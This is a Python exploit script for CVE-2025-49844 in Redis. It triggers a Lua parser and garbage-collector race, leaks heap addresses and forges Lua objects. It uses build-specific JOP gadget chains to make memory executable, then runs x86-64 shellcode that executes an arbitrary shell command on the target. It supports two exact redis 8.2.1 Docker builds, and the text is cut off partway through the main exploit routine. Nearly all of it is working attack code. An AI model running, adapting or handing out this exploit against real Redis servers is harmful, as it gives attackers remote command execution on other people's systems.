#!/usr/bin/env python3
import argparse
import random
import redis
import struct
from io import StringIO
from urllib.parse import urlparse
from dataclasses import dataclass, field
from typing import Any, Callable, Optional, Protocol, Tuple, cast

from iced_x86 import (
    BlockEncoder,
    Code,
    Instruction as Instr,
    MemoryOperand,
    Register,
)

# Global variable for the args
args = None

def log_success(msg: str):
    """
    Logs a success message to stdout

    Arguments:
        msg(str): The message to log
    """
    print(f"[+] {msg}")

def log_failure(msg: str):
    """
    Logs a failure message to stdout

    Arguments:
        msg(str): The message to log
    """
    print(f"[-] {msg}")

def log_info(msg: str):
    """
    Logs a info message to stdout

    Arguments:
        msg(str): The message to log
    """
    print(f"[*] {msg}")

def log_result(msg: str):
    """
    Logs a result message to stdout

    Arguments:
        msg(str): The message to log
    """
    print(f"[>] {msg}")

@dataclass
class ParsedArgs:
    host: str
    port: int
    password: str | None
    timeout: int
    force: bool
    command: str | None

@dataclass
class CoreAddrs:
    redis_base: int
    luaAlloc: int
    mprotect: int
    pthread_create: int

@dataclass
class TargetInfo:
    name: str
    redis_version: str
    redis_build_id: str

@dataclass
class ExploitState:
    target: TargetInfo
    addrs: CoreAddrs
    megabin_address: int
    shellcode_entry: int
    shellcode_page: int

@dataclass
class ShellcodeContext:
    origin: int
    addrs: CoreAddrs
    luastate: int
    body_callback: Callable[["ShellcodeContext"], Optional[Tuple[bytes, int]]]

class TargetModule(Protocol):
    def info(self) -> TargetInfo:
        ...

    def core_addrs(self, luaAlloc: int) -> Optional[CoreAddrs]:
        ...

    def create_shellcode(self, context: ShellcodeContext, shellcode: bytes, shellcode_body_address: int) -> Optional[Tuple[bytes, int]]:
        ...

    def build_pivot_payload(self, state: ExploitState) -> Tuple[bytes, bytes]:
        ...

@dataclass
class CClosure:
    nupvalues: int = field(default=0)
    p_gclist: int = field(default=0)
    p_env: int = field(default=0)
    p_function: int = field(default=0)

    def build(self, next: int = 0) -> bytes:
        data = b""
        data += struct.pack("<Q", next)
        data += b"\x06"
        data += b"\x00"
        data += b"\x01"
        data += struct.pack("B", self.nupvalues)
        data += b"\x00" * 4
        data += struct.pack("<QQQ", self.p_gclist, self.p_env, self.p_function)
        assert len(data) == 0x28
        return data

@dataclass
class Proto:
    p_k: int = field(default=0)
    p_code: int = field(default=0)
    p_p_p: int = field(default=0)
    p_lineinfo: int = field(default=0)
    p_locvars: int = field(default=0)
    p_p_upvalues: int = field(default=0)
    p_source: int = field(default=0)
    sizeupvalues: int = field(default=0)
    sizek: int = field(default=0)
    sizecode: int = field(default=0)
    sizelineinfo: int = field(default=0)
    sizep: int = field(default=0)
    sizelocvars: int = field(default=0)
    linedefined: int = field(default=0)
    lastlinedefined: int = field(default=0)
    p_gclist: int = field(default=0)
    nups: int = field(default=0)
    numparams: int = field(default=0)
    is_vararg: int = field(default=0)
    maxstacksize: int = field(default=0)

    def build_into_tstring_contents(self) -> bytes:
        data = self.build()
        next_ptr = struct.unpack("<Q", data[0x00:0x08])[0]
        if next_ptr != 0:
            log_failure("Proto::next is not null")
        p_k = struct.unpack("<Q", data[0x10:0x18])[0]
        if p_k != 0:
            log_failure("Proto::k is not null")
        return data[0x18:]

    def build(self) -> bytes:
        data = b""
        data += b"\x00" * 8
        data += b"\x09"
        data += b"\x02"
        data += b"\x00" * 6
        data += struct.pack("<QQQQQQQIIIIIIIIQBBBB", *[
            self.p_k,
            self.p_code,
            self.p_p_p,
            self.p_lineinfo,
            self.p_locvars,
            self.p_p_upvalues,
            self.p_source,
            self.sizeupvalues,
            self.sizek,
            self.sizecode,
            self.sizelineinfo,
            self.sizep,
            self.sizelocvars,
            self.linedefined,
            self.lastlinedefined,
            self.p_gclist,
            self.nups,
            self.numparams,
            self.is_vararg,
            self.maxstacksize,
        ])
        assert len(data) == 0x74
        return data

@dataclass
class ScriptOptions:
    opcodes: Tuple[int, int] = field(default=(0, 0))
    megabin: str = field(default="")
    leak_addr: int = field(default=0)
    upval_address: int = field(default=0)
    shellcode: str = field(default="")
    root_local_count: int = field(default=0)
    g0_prefix_count: int = field(default=6)
    g1_prefix_count: int = field(default=6)
    g2_prefix_count: int = field(default=6)
    g3_prefix_count: int = field(default=6)
    step: int = field(default=0)

@dataclass
class Opcodes:
    opcodes: list[int]

    def __len__(self) -> int:
        return len(self.opcodes)

    def to_bytes_le(self) -> bytes:
        return b"".join([u32_le(opcode) for opcode in self.opcodes])

def parse_args() -> ParsedArgs:
    """
    Parses the command line args
    Required arguments are marked by a star (*)

    Returns:
        ParsedArgs: the parsed args
    """

    # Add some default checks 
    parser = argparse.ArgumentParser(description="CVE-2025-49844 exploit script by cc3305")
    parser.add_argument("host", action="store", help="Target Redis host, optionally with a port")
    parser.add_argument("-p", "--port", action="store", type=int, default=6379, help="Target Redis port. Defaults to 6379")
    parser.add_argument("-a", "--password", action="store", help="Redis password")
    parser.add_argument("--timeout", action="store", type=int, default=5, help="The Redis connection timeout in seconds. Defaults to 5s")
    parser.add_argument("-f", "--force", action="store_true", help="Force the exploit (skip the check if the host is vulnerable)")

    # Add more checks according to exploit, e.g. add a "--command" for a RCE exploit
    parser.add_argument("-C", "--command", action="store", help="Command to run on the target if exploited successfully")
    
    # Return the parsed args
    result = parser.parse_args()
    result.host, result.port = parse_target(result.host, result.port)

    return ParsedArgs(**vars(result))

def parse_target(target: str, default_port: int) -> tuple[str, int]:
    """
    Parses the target host and port

    Arguments:
        target(str): The target
        default_port(int): The default port

    Returns:
        tuple[str, int]: The parsed host and port
    """
    if "://" in target:
        parsed = urlparse(target)
        return parsed.hostname or target, parsed.port or default_port

    host, separator, port = target.rpartition(":")
    if separator == "" or not port.isdigit():
        return target, default_port
    return host, int(port)

def redis_client() -> redis.Redis:
    """
    Creates a Redis client

    Returns:
        redis.Redis: The Redis client
    """
    return redis.Redis(host=args.host, port=args.port, password=args.password, socket_timeout=args.timeout, socket_connect_timeout=args.timeout, decode_responses=True)

def redis_binary_client() -> redis.Redis:
    """
    Creates a Redis client for binary exploit payloads

    Returns:
        redis.Redis: The Redis client
    """
    return redis.Redis(host=args.host, port=args.port, password=args.password, socket_timeout=args.timeout, socket_connect_timeout=args.timeout, decode_responses=False)

def u32_le(value: int) -> bytes:
    return struct.pack("<I", value)

def u64_le(value: int) -> bytes:
    return struct.pack("<Q", value)

def u64_silly(value: int) -> int:
    return struct.unpack("<Q", struct.pack("B", value) * 8)[0]

def optional_map(value: Any | None, f: Callable[[Any], Any | None]) -> Any | None:
    if value is None:
        return None
    return f(value)

def add_label(id: int, instruction: Instr) -> Instr:
    instruction.ip = id
    return instruction

def lua_encode(data: bytes) -> str:
    with StringIO() as writer:
        for byte in data:
            writer.write(f"\\{byte:03}")
        return writer.getvalue()

def proto4stub() -> str:
    # This chunk gives us multiple closures with a predictable Proto shape
    contents = ""
    contents += "local empty000 = {}\\n"
    contents += "empty000.source = nil\\n"
    contents += "local hello000 = __redis__err__handler\\n"
    contents += "local function h0000000 () local t0000000 = hello000; return empty000 end\\n"
    contents += "local function i0000000 () local t0000000 = hello000; return empty000 end\\n"
    contents += "local function j0000000 () local t0000000 = hello000; return empty000 end\\n"
    contents += "local function k0000000 () local t0000000 = hello000; return empty000 end\\n"
    contents += "local l0000000 = i0000000()\\n"
    contents += "if type(l0000000) == \"function\" then return l0000000() end\\n"
    contents += "return l0000000.source"
    return contents

def proto_encode_tstring(proto: Proto) -> str:
    proto.linedefined = random.randint(0, 0xFFFF_FFFF)
    proto.lastlinedefined = random.randint(0, 0xFFFF_FFFF)
    return lua_encode(proto.build_into_tstring_contents())

def create_script(options: ScriptOptions) -> str:
    # Build the Lua parser/GC race script around the current heap addresses
    def proto() -> str:
        p_code, sizecode = options.opcodes
        proto_obj = Proto(p_code=p_code, p_source=options.leak_addr, sizecode=sizecode, nups=1)
        return proto_encode_tstring(proto_obj)

    upval_addr = lua_encode(struct.pack("<Q", options.upval_address))
    g0_prefix = "\n".join([f'local y0_{i} = string.sub(" {proto()}", 2)' for i in range(options.g0_prefix_count)])
    g1_prefix = "\n".join([f'local y1_{i} = string.sub(" {proto()}", 2)' for i in range(options.g1_prefix_count)])
    g2_prefix = "\n".join([f'local y2_{i} = string.sub(" {proto()}", 2)' for i in range(options.g2_prefix_count)])
    g3_prefix = "\n".join([f'local y3_{i} = string.sub(" {proto()}", 2)' for i in range(options.g3_prefix_count)])
    root_locals = "\n".join([f"local L{i} = 0" for i in range(options.root_local_count)])
    where_locals = "\n".join([f"local u{i} = 0" for i in range((0x200 - 0x28) // 8)])
    where_returns = ", ".join([f"u{i}" for i in range((0x200 - 0x28) // 8)])

    script = f"""
local zerosizestr = ''

local container = {{"{options.shellcode}"}}
if ARGV[1] == "dest" then
    return tostring(container)
end

local reserved = {{}}

local index = 0
local function myloader ()
    local myindex = index
    index = index + 1
    if myindex == 0 then
        return nil
    elseif myindex == 1 then
        collectgarbage("collect")

        {g0_prefix}
        local g0 = loadstring('{proto4stub()}')

        {g1_prefix}
        local g1 = loadstring('{proto4stub()}')

        {g2_prefix}
        local g2 = loadstring('{proto4stub()}')

        {g3_prefix}
        local g3 = loadstring('{proto4stub()}')

        reserved[0] = g0
        reserved[1] = g1
        reserved[2] = g2
        reserved[3] = g3

        return 'return __redis__err__handler().source'
    end
end

{root_locals}

local f = load(myloader)

if ARGV[1] == "where" then
    {where_locals}
    local function a () return {where_returns} end
    return tostring(a)
end
reserved['o'] = string.sub(" {options.megabin}", 2)

if ARGV[1] == "tostring" then
    return tostring(temp)
elseif ARGV[1] == "check" then
    return f()
end

local s = 0
s = string.sub(" {upval_addr} 0000000", 2)
s = string.sub(" {upval_addr} 0000001", 2)
s = string.sub(" {upval_addr} 0000002", 2)
s = string.sub(" {upval_addr} 0000003", 2)
s = string.sub(" {upval_addr} 0000004", 2)
s = string.sub(" {upval_addr} 0000005", 2)
s = string.sub(" {upval_addr} 0000006", 2)
s = string.sub(" {upval_addr} 0000007", 2)
s = string.sub(" {upval_addr} 0000008", 2)
s = string.sub(" {upval_addr} 0000009", 2)
s = string.sub(" {upval_addr} 0000010", 2)
s = string.sub(" {upval_addr} 0000011", 2)
s = string.sub(" {upval_addr} 0000012", 2)
s = string.sub(" {upval_addr} 0000013", 2)
s = string.sub(" {upval_addr} 0000014", 2)
s = string.sub(" {upval_addr} 0000015", 2)
s = string.sub(" {upval_addr} 0000016", 2)
s = string.sub(" {upval_addr} 0000017", 2)
s = string.sub(" {upval_addr} 0000018", 2)
s = string.sub(" {upval_addr} 0000019", 2)

collectgarbage("collect")

local a = reserved[0]()
local b = reserved[1]()
local c = reserved[2]()
local d = reserved[3]()
if a ~= nil then return a end
if b ~= nil then return b end
if c ~= nil then return c end
if d ~= nil then return d end
return nil
    """
    return "\n".join([line for line in script.split("\n") if not line.lstrip().startswith("--")])

def parse_leaked_tostring_addr(contents: bytes) -> Optional[int]:
    if contents.startswith(b"function: "):
        return int(contents.lstrip(b"function: "), 16)
    if contents.startswith(b"table: "):
        return int(contents.lstrip(b"table: "), 16)
    return None

def leaked_addr(data: bytes) -> Optional[int]:
    if len(data) < 6:
        log_failure("Did not leak at least 6 bytes")
        return None
    data += b"\x00" * (8 - len(data))
    return int(struct.unpack("<Q", data)[0])

def perform_leak(client: redis.Redis, options: ScriptOptions, address: int, count: int, argv: list[bytes | str] | None = None) -> Optional[bytes]:
    # The fake Proto points `source` at an arbitrary address and Redis returns it as bytes
    options = dataclasses_replace(options, leak_addr=address)
    argv = argv if argv is not None else []
    data = b""
    failcount = 0
    while True:
        script = create_script(options)
        client.script_flush("SYNC")
        log_info(f"Uploading script (leak: 0x{options.leak_addr:x})")
        result = cast(Any, client.eval(script, 0, *argv))
        log_info(f"Result: {result}")

        if result is None:
            failcount += 1
            if failcount > 3:
                log_failure("Leak max failcount exceeded")
                return None
            log_failure("Leak failed, trying again")
            continue
        failcount = 0

        if not isinstance(result, bytes):
            log_failure(f"Failed to leak, returned non-bytes: 0x{options.leak_addr:x}")
            return None

        result += b"\x00"
        data += result
        if count <= len(data):
            return data

        options.leak_addr += len(result)

def dataclasses_replace(options: ScriptOptions, **changes: Any) -> ScriptOptions:
    values = options.__dict__.copy()
    values.update(changes)
    return ScriptOptions(**values)

def create_shellcode_body_command(context: ShellcodeContext, command: bytes) -> Optional[Tuple[bytes, int]]:
    if b"\x00" in command:
        log_failure("Shell command cannot contain null bytes")
        return None
    if len(command) > 0x800:
        log_failure("Shell command is too large")
        return None

    # The payload forks and execs `/bin/sh -c <command>` without capturing output
    shellcode = b""
    bin_sh_offset = len(shellcode)
    shellcode += b"/bin/sh\x00"
    dash_c_offset = len(shellcode)
    shellcode += b"-c\x00"
    command_offset = len(shellcode)
    shellcode += command + b"\x00"
    env_var_path_offset = len(shellcode)
    shellcode += b"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\x00"
    shellcode += b"\x00" * (8 - (len(shellcode) % 8))

    argv_offset = len(shellcode)
    shellcode += u64_le(context.origin + bin_sh_offset)
    shellcode += u64_le(context.origin + dash_c_offset)
    shellcode += u64_le(context.origin + command_offset)
    shellcode += b"\x00" * 8

    envp_offset = len(shellcode)
    shellcode += u64_le(context.origin + env_var_path_offset)
    shellcode += b"\x00" * 8

    pthread_id_offset = len(shellcode)
    shellcode += b"\x00" * 8

    entry = len(shellcode)
    pthread_create = context.addrs.pthread_create

    label_parent = 1
    label_return = 2
    label_wait4 = 3

    instrs = [
        Instr.create_reg_i64(Code.MOV_R64_IMM64, Register.RAX, 0x39),
        Instr.create(Code.SYSCALL),
        Instr.create_reg_reg(Code.TEST_RM64_R64, Register.RAX, Register.RAX),
        Instr.create_branch(Code.JNE_REL32_64, label_parent),

        Instr.create_reg_mem(Code.LEA_R64_M, Register.RDI, MemoryOperand(Register.RIP, displ=(bin_sh_offset - entry))),
        Instr.create_reg_mem(Code.LEA_R64_M, Register.RSI, MemoryOperand(Register.RIP, displ=(argv_offset - entry))),
        Instr.create_reg_mem(Code.LEA_R64_M, Register.RDX, MemoryOperand(Register.RIP, displ=(envp_offset - entry))),
        Instr.create_reg_i32(Code.MOV_R64_IMM64, Register.RAX, 0x3B),
        Instr.create(Code.SYSCALL),

        add_label(label_wait4, Instr.create_reg_i32(Code.MOV_R64_IMM64, Register.RAX, 0x3D)),
        Instr.create_reg_reg(Code.XOR_RM64_R64, Register.RSI, Register.RSI),
        Instr.create_reg_reg(Code.XOR_RM64_R64, Register.RDX, Register.RDX),
        Instr.create_reg_reg(Code.XOR_RM64_R64, Register.RCX, Register.RCX),
        Instr.create(Code.SYSCALL),

        Instr.create_reg_i32(Code.MOV_R64_IMM64, Register.RAX, 0x3C),
        Instr.create_reg_reg(Code.XOR_R64_RM64, Register.RDI, Register.RDI),
        Instr.create(Code.SYSCALL),

        add_label(label_parent, Instr.create_reg_reg(Code.MOV_RM64_R64, Register.RDI, Register.RAX)),
        Instr.create_reg_i32(Code.MOV_R64_IMM64, Register.RAX, 0x27),
        Instr.create(Code.SYSCALL),
        Instr.create_reg_i32(Code.CMP_RAX_IMM32, Register.RAX, 1),
        Instr.create_branch(Code.JNE_REL32_64, label_return),

        Instr.create_reg_i64(Code.MOV_R64_IMM64, Register.RAX, pthread_create),
        Instr.create_reg_reg(Code.MOV_RM64_R64, Register.RCX, Register.RDI),
        Instr.create_reg_mem(Code.LEA_R64_M, Register.RDI, MemoryOperand(Register.RIP, displ=(pthread_id_offset - entry))),
        Instr.create_reg_reg(Code.XOR_RM64_R64, Register.RSI, Register.RSI),
        Instr.create_reg_mem(Code.LEA_R64_M, Register.RDX, MemoryOperand(Register.RIP, displ=label_wait4)),
        Instr.create_reg(Code.CALL_RM64, Register.RAX),
        add_label(label_return, Instr.create(Code.NOPQ)),
    ]

    encoder = BlockEncoder(64)
    encoder.add_many(instrs)
    shellcode += encoder.encode(0) + b"\xC3"
    return shellcode, entry

class Redis821Alpine:
    def info(self) -> TargetInfo:
        return TargetInfo("redis:8.2.1-alpine", "8.2.1", "f5a80511e802827d")

    def core_addrs(self, luaAlloc: int) -> Optional[CoreAddrs]:
        # Exact build offsets from the public redis:8.2.1-alpine PoC
        if luaAlloc & 0xFFF != 0xF10:
            return None
        redis_base = luaAlloc - 0x240F10
        return CoreAddrs(
            luaAlloc=luaAlloc,
            redis_base=redis_base,
            mprotect=redis_base + 0x80B90,
            pthread_create=redis_base + 0x813B0,
        )

    def create_shellcode(self, context: ShellcodeContext, shellcode: bytes, shellcode_body_address: int) -> Optional[Tuple[bytes, int]]:
        # Entry/exit stub repairs Redis state after the command shellcode runs
        addReplyBool = context.addrs.redis_base + 0xDEB60
        epilogue_gadget = context.addrs.redis_base + 0x194302
        entry = len(shellcode)
        instrs = [
            Instr.create_reg_reg(Code.MOV_RM64_R64, Register.RBP, Register.RSP),
            Instr.create_reg_i32(Code.ADD_RM64_IMM32, Register.RBP, 0x480),
            Instr.create_reg_i32(Code.ADD_RM64_IMM32, Register.RSP, 0x3B8 - 0x30),
            Instr.create_reg_i64(Code.MOV_R64_IMM64, Register.RAX, shellcode_body_address),
            Instr.create_reg(Code.CALL_RM64, Register.RAX),
            Instr.create_reg_mem(Code.MOV_R64_RM64, Register.RDI, MemoryOperand(Register.RSP, displ=(0xC0 + 0x30))),
            Instr.create_reg_i32(Code.MOV_R8_IMM8, Register.SIL, 1),
            Instr.create_reg_i64(Code.MOV_R64_IMM64, Register.RAX, addReplyBool),
            Instr.create_reg(Code.CALL_RM64, Register.RAX),
            Instr.create_reg_i64(Code.MOV_R64_IMM64, Register.RAX, epilogue_gadget),
            Instr.create_reg(Code.JMP_RM64, Register.RAX),
        ]
        encoder = BlockEncoder(64)
        encoder.add_many(instrs)
        shellcode += encoder.encode(0)
        return shellcode, entry

    def build_pivot_payload(self, state: ExploitState) -> Tuple[bytes, bytes]:
        # JOP chain makes the shellcode page executable and pivots into it
        redis_base = state.addrs.redis_base
        gadget0 = redis_base + 0x155359
        gadget1 = redis_base + 0x30E236
        gadget2 = redis_base + 0xC2962
        gadget3 = redis_base + 0x1E6FB4
        gadget4 = redis_base + 0x278217
        gadget5 = redis_base + 0xF2772
        gadget6 = redis_base + 0x23C92D
        gadget7 = redis_base + 0x1E5BF6
        gadget8 = redis_base + 0xD962D
        gadget9 = redis_base + 0xFFB31

        cclosure = CClosure(p_gclist=gadget5, p_env=7, p_function=gadget0)
        cclosure_bytes = cclosure.build(next=0x1000)
        rbp = state.megabin_address + 0x50

        jopdata = b""
        jopdata += u64_le(gadget4)
        jopdata += u64_le(gadget1)
        jopdata += u64_le(rbp)
        jopdata += u64_le(gadget3)
        jopdata += u32_le(0x50)
        jopdata += b"\x00" * 0x10
        jopdata += u64_le(gadget5)
        jopdata += b"\x00" * 0x4
        jopdata += u64_le(gadget0)
        jopdata += b"\x00" * 0x10
        jopdata += u64_le(gadget6)
        jopdata += b"\x00" * 0xC
        jopdata += u64_le(gadget8)
        jopdata += u64_le(state.shellcode_page)
        jopdata += u64_le(state.megabin_address + 0x50 + 0xB0)
        jopdata += b"\x00" * 0x4
        jopdata += u64_le(state.megabin_address + 0x50 + (0xB8 - 0x60))
        jopdata += u64_le(state.shellcode_entry)
        jopdata += b"\x00" * 0x4
        jopdata += u64_le(gadget7)
        jopdata += b"\x00" * 0x20
        jopdata += u64_le(gadget9)
        jopdata += b"\x00" * 0x20
        jopdata += u64_le(state.addrs.mprotect)
        jopdata += b"\x00" * 0x14
        jopdata += u64_le(gadget2)
        assert len(jopdata) == (0x138 - 0x28)
        return cclosure_bytes, jopdata

class Redis821Bookworm:
    def info(self) -> TargetInfo:
        return TargetInfo("redis:8.2.1-bookworm", "8.2.1", "fcae35583392417f")

    def core_addrs(self, luaAlloc: int) -> Optional[CoreAddrs]:
        # Exact build offsets from the public redis:8.2.1-bookworm PoC
        if luaAlloc & 0xFFF != 0xE10:
            return None
        redis_base = luaAlloc - 0x21BE10
        return CoreAddrs(
            luaAlloc=luaAlloc,
            redis_base=redis_base,
            mprotect=redis_base + 0x7F0D0,
            pthread_create=redis_base + 0x80398,
        )

    def create_shellcode(self, context: ShellcodeContext, shellcode: bytes, shellcode_body_address: int) -> Optional[Tuple[bytes, int]]:
        # Entry/exit stub repairs Redis state after the command shellcode runs
        addReplyBool = context.addrs.redis_base + 0xD6890
        curr_run_ctx = context.addrs.redis_base + 0x4088C8
        entry = len(shellcode)
        instrs = [
            Instr.create_reg_reg(Code.MOV_RM64_R64, Register.RBP, Register.RSP),
            Instr.create_reg_i32(Code.ADD_RM64_IMM32, Register.RBP, 0x420),
            Instr.create_reg_i32(Code.ADD_RM64_IMM32, Register.RSP, 0x378),
            Instr.create_reg_i64(Code.MOV_R64_IMM64, Register.RAX, shellcode_body_address),
            Instr.create_reg(Code.CALL_RM64, Register.RAX),
            Instr.create_reg_mem(Code.MOV_R64_RM64, Register.RDI, MemoryOperand(Register.RSP, displ=0xA0)),
            Instr.create_reg_i32(Code.MOV_R8_IMM8, Register.SIL, 1),
            Instr.create_reg_i64(Code.MOV_R64_IMM64, Register.RAX, addReplyBool),
            Instr.create_reg(Code.CALL_RM64, Register.RAX),
            Instr.create_reg_i64(Code.MOV_R64_IMM64, Register.RBX, context.luastate),
            Instr.create_reg_reg(Code.XOR_RM64_R64, Register.RCX, Register.RCX),
            Instr.create_reg_i64(Code.MOV_R64_IMM64, Register.RDX, curr_run_ctx),
            Instr.create_mem_reg(Code.MOV_RM64_R64, MemoryOperand(Register.RDX), Register.RCX),
            Instr.create_reg_i32(Code.MOV_R8_IMM8, Register.AL, 1),
        ]
        encoder = BlockEncoder(64)
        encoder.add_many(instrs)
        shellcode += encoder.encode(0) + b"\xC3"
        return shellcode, entry

    def build_pivot_payload(self, state: ExploitState) -> Tuple[bytes, bytes]:
        # JOP chain makes the shellcode page executable and pivots into it
        redis_base = state.addrs.redis_base
        gadget0 = redis_base + 0x1451AC
        gadget1 = redis_base + 0x1C83CF
        gadget2 = redis_base + 0x24DA07
        gadget3 = redis_base + 0xE89C2
        gadget4 = redis_base + 0x21549D
        gadget5 = redis_base + 0x1C6AC9
        gadget6 = redis_base + 0xD1A6D
        gadget7 = redis_base + 0xF21F1

        cclosure = CClosure(p_gclist=gadget3, p_env=7, p_function=gadget0)
        cclosure_bytes = cclosure.build(next=0x1000)

        jopdata = b""
        jopdata += u64_le(gadget2)
        jopdata += u64_le(gadget1)
        jopdata += b"\x00" * 0x10
        jopdata += u32_le(0x50)
        jopdata += b"\x00" * 0x10
        jopdata += u64_le(gadget3)
        jopdata += b"\x00" * 0x4
        jopdata += u64_le(gadget0)
        jopdata += b"\x00" * 0x10
        jopdata += u64_le(gadget4)
        jopdata += b"\x00" * 0xC
        jopdata += u64_le(gadget6)
        jopdata += u64_le(state.shellcode_page)
        jopdata += u64_le(state.megabin_address + 0x50 + 0xB0)
        jopdata += b"\x00" * 0x4
        jopdata += u64_le(state.megabin_address + 0x50 + (0xB8 - 0x60))
        jopdata += u64_le(state.shellcode_entry)
        jopdata += b"\x00" * 0x4
        jopdata += u64_le(gadget5)
        jopdata += b"\x00" * 0x20
        jopdata += u64_le(gadget7)
        jopdata += b"\x00" * 0x20
        jopdata += u64_le(state.addrs.mprotect)
        assert len(jopdata) == (0x11C - 0x28)
        return cclosure_bytes, jopdata

def supported_modules() -> list[TargetModule]:
    return [Redis821Alpine(), Redis821Bookworm()]

def info_extract_version(info: Any) -> Optional[Tuple[str, str]]:
    if not isinstance(info, dict):
        log_failure("INFO returned non-dict")
        return None
    if "redis_version" not in info:
        log_failure('INFO missing "redis_version" key')
        return None
    if "redis_build_id" not in info:
        log_failure('INFO missing "redis_build_id" key')
        return None
    redis_version = info["redis_version"]
    redis_build_id = info["redis_build_id"]
    if isinstance(redis_version, bytes):
        redis_version = redis_version.decode()
    if isinstance(redis_build_id, bytes):
        redis_build_id = redis_build_id.decode()
    if not isinstance(redis_version, str) or not isinstance(redis_build_id, str):
        log_failure("INFO version fields have unexpected types")
        return None
    return redis_version, redis_build_id

def parse_version(version: str) -> tuple[int, ...]:
    """
    Parses a Redis version string

    Arguments:
        version(str): The version string

    Returns:
        tuple[int, ...]: The parsed version
    """
    parts = []
    for part in version.split("."):
        try:
            parts.append(int(part))
        except ValueError:
            break
    return tuple(parts)

def version_less_than(version: str, fixed_version: str) -> bool:
    """
    Checks if a version is lower than a fixed version

    Arguments:
        version(str): The target version
        fixed_version(str): The fixed version

    Returns:
        bool: True if the target version is lower than the fixed version, False otherwise
    """
    parsed_version = parse_version(version)
    parsed_fixed_version = parse_version(fixed_version)
    max_length = max(len(parsed_version), len(parsed_fixed_version))
    normalized_version = parsed_version + (0,) * (max_length - len(parsed_version))
    normalized_fixed_version = parsed_fixed_version + (0,) * (max_length - len(parsed_fixed_version))
    return normalized_version < normalized_fixed_version

def version_greater_or_equal(version: str, fixed_version: str) -> bool:
    """
    Checks if a version is greater than or equal to a fixed version

    Arguments:
        version(str): The target version
        fixed_version(str): The fixed version

    Returns:
        bool: True if the target version is greater than or equal to the fixed version, False otherwise
    """
    return not version_less_than(version, fixed_version)

def is_vulnerable_version(version: str) -> bool:
    """
    Checks if a Redis version is affected by CVE-2025-49844

    Arguments:
        version(str): The Redis version

    Returns:
        bool: True if the version is vulnerable, False otherwise
    """
    latest_fixed_version = "8.2.2"
    patched_branches = {
        "6.2": "6.2.20",
        "7.2": "7.2.11",
        "7.4": "7.4.6",
        "8.0": "8.0.4",
        "8.2": latest_fixed_version,
    }

    if version_greater_or_equal(version, latest_fixed_version):
        return False

    major_minor = ".".join(version.split(".")[:2])
    if major_minor not in patched_branches:
        return True
    return version_less_than(version, patched_branches[major_minor])

def check_vulnerable() -> bool:
    """
    Check if the target is vulnerable

    Returns:
        bool: True if the target is vulnerable, False otherwire
    """
    try:
        client = redis_client()
        info = client.info("server")
        version = info.get("redis_version")
    except redis.exceptions.RedisError as e:
        log_failure(f"Could not connect to Redis: {e}")
        return False

    if version is None:
        log_failure("Could not get the Redis version")
        return False

    log_info(f"Redis version {version} detected")

    if not is_vulnerable_version(version):
        log_failure("Host does not seem vulnerable")
        return False

    try:
        # This only proves Lua scripting is available, without running OS commands
        result = client.eval("return 'lua-ok'", 0)
    except redis.exceptions.RedisError as e:
        log_failure(f"Lua scripting does not seem available: {e}")
        return False

    if result != "lua-ok":
        log_failure("Lua scripting returned an unexpected result")
        return False

    log_success("Host version and Lua scripting indicate vulnerability, but do not prove exploitability")
    return True

def create_shellcode(context: ShellcodeContext, module: TargetModule) -> Optional[Tuple[bytes, int]]:
    shellcode_body = context.body_callback(context)
    if shellcode_body is None:
        log_failure("Failed to build shellcode body")
        return None
    shellcode, shellcode_body_entry = shellcode_body
    shellcode_body_address = context.origin + shellcode_body_entry
    log_info(f"Shellcode body address: 0x{shellcode_body_address:x}")
    return module.create_shellcode(context, shellcode, shellcode_body_address)

def find_supported_target(client: redis.Redis) -> Optional[tuple[TargetModule, TargetInfo]]:
    # Exploit offsets are build-specific, so version alone is not enough
    info = client.info()
    redis_version_fields = info_extract_version(info)
    if redis_version_fields is None:
        return None
    redis_version, redis_build_id = redis_version_fields
    log_info(f"Redis: {redis_version}; {redis_build_id}")

    for module in supported_modules():
        target = module.info()
        if (target.redis_version, target.redis_build_id) == redis_version_fields:
            log_info(f"Found: `{target.name}`")
            return module, target

    log_failure("Exploit only supports exact redis:8.2.1-alpine and redis:8.2.1-bookworm Docker builds")
    return None

def exploit_command(command: str) -> bool:
    client = redis_binary_client()
    target_match = find_supported_target(client)
    if target_match is None:
        return False
    module, target = target_match

    command_bytes = command.encode()
    opcodes_call_upvalue_0_and_return = Opcodes([
        0x0000_0004,
        0x0080_801C,
        0x0100_001E,
        0x0080_001E,
    ])
    opcodes_return_upvalue_4 = Opcodes([
        0x0200_0004,
        0x0100_001E,
        0x0080_001E,
    ])

    assert len(opcodes_call_upvalue_0_and_return.to_bytes_le()) == 0x10
    assert len(opcodes_return_upvalue_4.to_bytes_le()) == 0xC

    # Step 0: leak a stable heap address from tostring(function)
    options = ScriptOptions()
    options.shellcode = "\\065" * (0x1000 - 0x19)
    script = create_script(options)

    client.script_flush("SYNC")

    log_info("Uploading script (where)")
    result = client.eval(script, 0, "where")
    if not isinstance(result, bytes):
        log_failure("Failed to leak closure address")
        return False

    closure = parse_leaked_tostring_addr(result)
    if closure is None:
        log_failure("Failed to leak next 0x200-bin address")
        return False
    log_info(f"Closure: 0x{closure:x}")

    megabin_address = closure

    # The megabin is a fake heap object arena used by later forged Lua objects
    tvalue_bytes = b""
    tvalue_bytes += u64_le(megabin_address + 0x50)
    tvalue_bytes += u32_le(6)
    tvalue_bytes += b"\x00" * 4
    assert len(tvalue_bytes) == 0x10

    cclosure_bytes = CClosure(p_function=u64_silly(0x41)).build()
    assert len(cclosure_bytes) == 0x28

    megabin = b""
    megabin += opcodes_call_upvalue_0_and_return.to_bytes_le()
    megabin += opcodes_return_upvalue_4.to_bytes_le()
    megabin += b"\x00" * 4
    megabin += u64_le(megabin_address + 0x40)
    megabin += tvalue_bytes
    megabin += cclosure_bytes
    megabin += b"\x00" * 0x187
    assert len(megabin) == 0x1E7

    upvalue_address = megabin_address + 0x28
    opcodes_1_address = megabin_address + 0x18
    opcodes_2_address = megabin_address + 0x28

    # The public PoC relies on this consistent Lua state alignment in supported Docker builds
    luastate = closure & 0xFFFF_FFFF_FFF0_0000
    log_info(f"L State: 0x{luastate:x}")
    luaglobal = luastate + 0xB8
    log_info(f"G State: 0x{luaglobal:x}")

    client.script_flush("SYNC")
    p_frealloc = luaglobal + 0x10

    options.opcodes = (opcodes_1_address, len(opcodes_call_upvalue_0_and_return))
    options.megabin = lua_encode(megabin)
    options.upval_address = upvalue_address
    script = create_script(options)

    log_info("Uploading script (check)")
    result = client.eval(script, 0, "check")
